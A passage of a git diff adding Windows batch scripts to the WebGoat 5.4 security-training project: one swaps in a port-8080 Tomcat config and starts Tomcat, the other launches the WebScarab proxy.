+delete .\tomcat\conf\server.xml
+copy .\tomcat\conf\server_8080.xml .\tomcat\conf\server.xml
+
+@REM Run tomcat: must have quotes incase var has spaces in it
+call "%CATALINA_HOME%\bin\startup.bat" start
+
+echo
+echo If the Tomcat DOS shell quit immediately, it is likely that
+echo there is another service listening on port 80.
+echo
diff --git a/webgoat-5.4/webscarab.bat b/webgoat-5.4/webscarab.bat
new file mode 100644
index 000000000..9db235089
--- /dev/null
+++ b/webgoat-5.4/webscarab.bat
@@ -0,0 +1,7 @@
+@echo off
+
+
+@REM Run webscarab
+@REM - Assumes webscarab.properties file is in webscarab directory
+cd webscarab
+..\java\bin\javaw -Duser.home=.\ -jar webscarab.jar